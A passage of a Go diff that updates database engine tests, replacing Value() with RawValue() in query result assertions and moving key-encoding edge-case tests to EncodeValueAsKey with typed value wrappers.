require.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col4")].RawValue()) err = r.Close() require.NoError(t, err) @@ -3741,15 +3733,15 @@ func TestAggregations(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 5) - require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "c")].Value()) + require.Equal(t, int64(rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "c")].RawValue()) - require.Equal(t, int64(ageSum), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col1")].Value()) + require.Equal(t, int64(ageSum), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col1")].RawValue()) - require.Equal(t, int64(1+base), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col2")].Value()) + require.Equal(t, int64(1+base), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col2")].RawValue()) - require.Equal(t, int64(base+rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col3")].Value()) + require.Equal(t, int64(base+rowCount), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col3")].RawValue()) - require.Equal(t, int64(ageSum/(rowCount-len(nullRows))), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col4")].Value()) + require.Equal(t, int64(ageSum/(rowCount-len(nullRows))), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "col4")].RawValue()) _, err = r.Read(context.Background()) require.Equal(t, ErrNoMoreRows, err) @@ -3779,7 +3771,7 @@ func TestCount(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, uint64(30), row.ValuesBySelector["(db1.t1.c)"].Value()) + require.EqualValues(t, uint64(30), row.ValuesBySelector["(db1.t1.c)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -3793,7 +3785,7 @@ func TestCount(t *testing.T) { for j := 0; j < 3; j++ { row, err = r.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, uint64(10), row.ValuesBySelector["(db1.t1.c)"].Value()) + require.EqualValues(t, uint64(10), row.ValuesBySelector["(db1.t1.c)"].RawValue()) } _, err = r.Read(context.Background()) @@ -3901,16 +3893,16 @@ func TestGroupByHaving(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 6) - require.Equal(t, i == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].Value()) + require.Equal(t, i == 0, row.ValuesBySelector[EncodeSelector("", "db1", "table1", "active")].RawValue()) - require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "c")].Value()) + require.Equal(t, int64(rowCount/2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "c")].RawValue()) if i%2 == 0 { - require.Equal(t, int64(base), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].Value()) - require.Equal(t, int64(base+rowCount-2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].Value()) + require.Equal(t, int64(base), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].RawValue()) + require.Equal(t, int64(base+rowCount-2), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].RawValue()) } else { - require.Equal(t, int64(base+1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].Value()) - require.Equal(t, int64(base+rowCount-1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].Value()) + require.Equal(t, int64(base+1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col2")].RawValue()) + require.Equal(t, int64(base+rowCount-1), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "col3")].RawValue()) } } @@ -3997,10 +3989,10 @@ func TestJoins(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) - require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].Value()) - require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table2", "amount")].Value()) - require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table3", "age")].Value()) + require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "table1", "title")].RawValue()) + require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table2", "amount")].RawValue()) + require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "table3", "age")].RawValue()) } err = r.Close() @@ -4049,13 +4041,13 @@ func TestJoinsWithNullIndexes(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 1) - require.EqualValues(t, 100, row.ValuesBySelector[EncodeSelector("", "db1", "table2", "val")].Value()) + require.EqualValues(t, 100, row.ValuesBySelector[EncodeSelector("", "db1", "table2", "val")].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 1) - require.EqualValues(t, 200, row.ValuesBySelector[EncodeSelector("", "db1", "table2", "val")].Value()) + require.EqualValues(t, 200, row.ValuesBySelector[EncodeSelector("", "db1", "table2", "val")].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -4109,9 +4101,9 @@ func TestJoinsWithJointTable(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 3) - require.Equal(t, "name1", row.ValuesBySelector[EncodeSelector("", "db1", "q", "name")].Value()) - require.Equal(t, int64(20+i*10), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "amount")].Value()) - require.Equal(t, true, row.ValuesBySelector[EncodeSelector("", "db1", "t12", "active")].Value()) + require.Equal(t, "name1", row.ValuesBySelector[EncodeSelector("", "db1", "q", "name")].RawValue()) + require.Equal(t, int64(20+i*10), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "amount")].RawValue()) + require.Equal(t, true, row.ValuesBySelector[EncodeSelector("", "db1", "t12", "active")].RawValue()) } err = r.Close() @@ -4161,10 +4153,10 @@ func TestNestedJoins(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 4) - require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "title")].Value()) - require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "total_amount")].Value()) - require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "t3", "age")].Value()) + require.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-1-i), row.ValuesBySelector[EncodeSelector("", "db1", "t1", "title")].RawValue()) + require.Equal(t, int64((rowCount-1-i)*(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "total_amount")].RawValue()) + require.Equal(t, int64(30+(rowCount-1-i)), row.ValuesBySelector[EncodeSelector("", "db1", "t3", "age")].RawValue()) } err = r.Close() @@ -4236,8 +4228,8 @@ func TestSubQuery(t *testing.T) { require.NotNil(t, row) require.Len(t, row.ValuesBySelector, 2) - require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "id")].Value()) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "t")].Value()) + require.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "id")].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector[EncodeSelector("", "db1", "t2", "t")].RawValue()) } err = r.Close() @@ -4341,11 +4333,11 @@ func TestJoinsWithSubquery(t *testing.T) { require.NoError(t, err) require.Len(t, row.ValuesBySelector, 5) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "c", "id")].Value()) - require.Equal(t, "Isidro Behnen", row.ValuesBySelector[EncodeSelector("", "db1", "c", "customer_name")].Value()) - require.Equal(t, int64(24), row.ValuesBySelector[EncodeSelector("", "db1", "c", "age")].Value()) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "r", "customerid")].Value()) - require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "r", "review_count")].Value()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "c", "id")].RawValue()) + require.Equal(t, "Isidro Behnen", row.ValuesBySelector[EncodeSelector("", "db1", "c", "customer_name")].RawValue()) + require.Equal(t, int64(24), row.ValuesBySelector[EncodeSelector("", "db1", "c", "age")].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "r", "customerid")].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector("", "db1", "r", "review_count")].RawValue()) err = r.Close() require.NoError(t, err) @@ -4974,52 +4966,52 @@ func TestUnmapIndexEntry(t *testing.T) { } func TestEncodeAsKeyEdgeCases(t *testing.T) { - _, err := EncodeAsKey(nil, IntegerType, 0) + _, err := EncodeValueAsKey(&NullValue{}, IntegerType, 0) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeAsKey("a", VarcharType, maxKeyLen+1) + _, err = EncodeValueAsKey(&Varchar{val: "a"}, VarcharType, maxKeyLen+1) require.ErrorIs(t, err, ErrMaxKeyLengthExceeded) - _, err = EncodeAsKey("a", "NOTATYPE", maxKeyLen) + _, err = EncodeValueAsKey(&Varchar{val: "a"}, "NOTATYPE", maxKeyLen) require.ErrorIs(t, err, ErrInvalidValue) t.Run("varchar cases", func(t *testing.T) { - _, err = EncodeAsKey(true, VarcharType, 10) + _, err = EncodeValueAsKey(&Bool{val: true}, VarcharType, 10) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeAsKey("abc", VarcharType, 1) + _, err = EncodeValueAsKey(&Varchar{val: "abc"}, VarcharType, 1) require.ErrorIs(t, err, ErrMaxLengthExceeded) }) t.Run("integer cases", func(t *testing.T) { - _, err = EncodeAsKey(true, IntegerType, 8) + _, err = EncodeValueAsKey(&Bool{val: true}, IntegerType, 8) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeAsKey(int64(10), IntegerType, 4) + _, err = EncodeValueAsKey(&Integer{val: int64(10)}, IntegerType, 4) require.ErrorIs(t, err, ErrCorruptedData) }) t.Run("boolean cases", func(t *testing.T) { - _, err = EncodeAsKey("abc", BooleanType, 1) + _, err = EncodeValueAsKey(&Varchar{val: "abc"}, BooleanType, 1) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeAsKey(true, BooleanType, 2) + _, err = EncodeValueAsKey(&Bool{val: true}, BooleanType, 2) require.ErrorIs(t, err, ErrCorruptedData) }) t.Run("blob cases", func(t *testing.T) { - _, err = EncodeAsKey("abc", BLOBType, 3) + _, err = EncodeValueAsKey(&Varchar{val: "abc"}, BLOBType, 3) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeAsKey([]byte{1, 2, 3}, BLOBType, 2) + _, err = EncodeValueAsKey(&Blob{val: []byte{1, 2, 3}}, BLOBType, 2) require.ErrorIs(t, err, ErrMaxLengthExceeded) }) t.Run("timestamp cases", func(t *testing.T) { - _, err = EncodeAsKey(true, TimestampType, 8) + _, err = EncodeValueAsKey(&Bool{val: true}, TimestampType, 8) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeAsKey(int64(10), TimestampType, 4) + _, err = EncodeValueAsKey(&Integer{val: int64(10)}, TimestampType, 4) require.ErrorIs(t, err, ErrCorruptedData) }) } @@ -5295,7 +5287,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].Value()) + require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5308,7 +5300,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].Value()) + require.Equal(t, int64(i+1), row.ValuesBySelector["(db1.table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5321,7 +5313,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(1), row.ValuesBySelector["(db1.table1.id)"].Value()) + require.Equal(t, int64(1), row.ValuesBySelector["(db1.table1.id)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5337,7 +5329,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5350,7 +5342,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5363,7 +5355,7 @@ func TestTemporalQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) err = r.Close() require.NoError(t, err) @@ -5422,7 +5414,7 @@ func TestUnionOperator(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5438,12 +5430,12 @@ func TestUnionOperator(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].Value()) + require.Equal(t, int64(rowCount), row.ValuesBySelector["(db1.table1.c)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5460,7 +5452,7 @@ func TestUnionOperator(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", rowCount-i-1), row.ValuesBySelector["(db1.table1.title)"].Value()) + require.Equal(t, fmt.Sprintf("title%d", rowCount-i-1), row.ValuesBySelector["(db1.table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -5478,14 +5470,14 @@ func TestUnionOperator(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) } for i := 0; i < rowCount; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, fmt.Sprintf("name%d", i), row.ValuesBySelector["(db1.table1.title)"].Value()) + require.Equal(t, fmt.Sprintf("name%d", i), row.ValuesBySelector["(db1.table1.title)"].RawValue()) } _, err = r.Read(context.Background()) @@ -5663,11 +5655,11 @@ func TestTemporalQueriesDeletedRows(t *testing.T) { row, err := res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 2, row.ValuesByPosition[0].Value()) + require.EqualValues(t, 2, row.ValuesByPosition[0].RawValue()) row, err = res.Read(context.Background()) require.NoError(t, err) - require.EqualValues(t, 8, row.ValuesByPosition[0].Value()) + require.EqualValues(t, 8, row.ValuesByPosition[0].RawValue()) _, err = res.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5697,7 +5689,7 @@ func TestMultiDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.NotNil(t, row) - require.Equal(t, "db1", row.ValuesBySelector["(*.databases.name)"].Value()) + require.Equal(t, "db1", row.ValuesBySelector["(*.databases.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5747,7 +5739,7 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) - require.Equal(t, db, row.ValuesBySelector["(*.databases.name)"].Value()) + require.Equal(t, db, row.ValuesBySelector["(*.databases.name)"].RawValue()) } _, err = r.Read(context.Background()) @@ -5766,7 +5758,7 @@ func TestMultiDBCatalogQueries(t *testing.T) { require.NoError(t, err) require.NotNil(t, row) require.NotNil(t, row) - require.Equal(t, db, row.ValuesBySelector["(*.dbs.dbname)"].Value()) + require.Equal(t, db, row.ValuesBySelector["(*.dbs.dbname)"].RawValue()) } _, err = r.Read(context.Background()) @@ -5862,11 +5854,11 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.tables.name)"].Value()) + require.Equal(t, "mytable1", row.ValuesBySelector["(db1.tables.name)"].RawValue()) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].Value()) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5880,7 +5872,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].Value()) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5897,7 +5889,7 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].Value()) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.tables.name)"].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5914,17 +5906,17 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.indexes.table)"].Value()) - require.Equal(t, "mytable1[id]", row.ValuesBySelector["(db1.indexes.name)"].Value()) - require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) + require.Equal(t, "mytable1", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) + require.Equal(t, "mytable1[id]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) + require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.indexes.table)"].Value()) - require.Equal(t, "mytable1[title]", row.ValuesBySelector["(db1.indexes.name)"].Value()) - require.False(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) + require.Equal(t, "mytable1", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) + require.Equal(t, "mytable1[title]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) + require.False(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5938,24 +5930,24 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].Value()) - require.Equal(t, "mytable2[id]", row.ValuesBySelector["(db1.indexes.name)"].Value()) - require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) + require.Equal(t, "mytable2[id]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) + require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].Value()) - require.Equal(t, "mytable2[name]", row.ValuesBySelector["(db1.indexes.name)"].Value()) - require.False(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) + require.Equal(t, "mytable2[name]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) + require.False(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].Value()) - require.Equal(t, "mytable2[name,active]", row.ValuesBySelector["(db1.indexes.name)"].Value()) - require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].Value().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.indexes.table)"].RawValue()) + require.Equal(t, "mytable2[name,active]", row.ValuesBySelector["(db1.indexes.name)"].RawValue()) + require.True(t, row.ValuesBySelector["(db1.indexes.unique)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.indexes.primary)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -5973,27 +5965,27 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.columns.table)"].Value()) - require.Equal(t, "id", row.ValuesBySelector["(db1.columns.name)"].Value()) - require.Equal(t, IntegerType, row.ValuesBySelector["(db1.columns.type)"].Value()) - require.Equal(t, int64(8), row.ValuesBySelector["(db1.columns.max_length)"].Value()) - require.False(t, row.ValuesBySelector["(db1.columns.nullable)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.auto_increment)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) + require.Equal(t, "mytable1", row.ValuesBySelector["(db1.columns.table)"].RawValue()) + require.Equal(t, "id", row.ValuesBySelector["(db1.columns.name)"].RawValue()) + require.Equal(t, IntegerType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) + require.Equal(t, int64(8), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) + require.False(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable1", row.ValuesBySelector["(db1.columns.table)"].Value()) - require.Equal(t, "title", row.ValuesBySelector["(db1.columns.name)"].Value()) - require.Equal(t, VarcharType, row.ValuesBySelector["(db1.columns.type)"].Value()) - require.Equal(t, int64(256), row.ValuesBySelector["(db1.columns.max_length)"].Value()) - require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) + require.Equal(t, "mytable1", row.ValuesBySelector["(db1.columns.table)"].RawValue()) + require.Equal(t, "title", row.ValuesBySelector["(db1.columns.name)"].RawValue()) + require.Equal(t, VarcharType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) + require.Equal(t, int64(256), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) + require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -6007,39 +5999,39 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].Value()) - require.Equal(t, "id", row.ValuesBySelector["(db1.columns.name)"].Value()) - require.Equal(t, IntegerType, row.ValuesBySelector["(db1.columns.type)"].Value()) - require.Equal(t, int64(8), row.ValuesBySelector["(db1.columns.max_length)"].Value()) - require.False(t, row.ValuesBySelector["(db1.columns.nullable)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].RawValue()) + require.Equal(t, "id", row.ValuesBySelector["(db1.columns.name)"].RawValue()) + require.Equal(t, IntegerType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) + require.Equal(t, int64(8), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) + require.False(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].Value()) - require.Equal(t, "name", row.ValuesBySelector["(db1.columns.name)"].Value()) - require.Equal(t, VarcharType, row.ValuesBySelector["(db1.columns.type)"].Value()) - require.Equal(t, int64(100), row.ValuesBySelector["(db1.columns.max_length)"].Value()) - require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].Value().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.primary)"].Value().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.unique)"].Value().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].RawValue()) + require.Equal(t, "name", row.ValuesBySelector["(db1.columns.name)"].RawValue()) + require.Equal(t, VarcharType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) + require.Equal(t, int64(100), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) + require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].Value()) - require.Equal(t, "active", row.ValuesBySelector["(db1.columns.name)"].Value()) - require.Equal(t, BooleanType, row.ValuesBySelector["(db1.columns.type)"].Value()) - require.Equal(t, int64(1), row.ValuesBySelector["(db1.columns.max_length)"].Value()) - 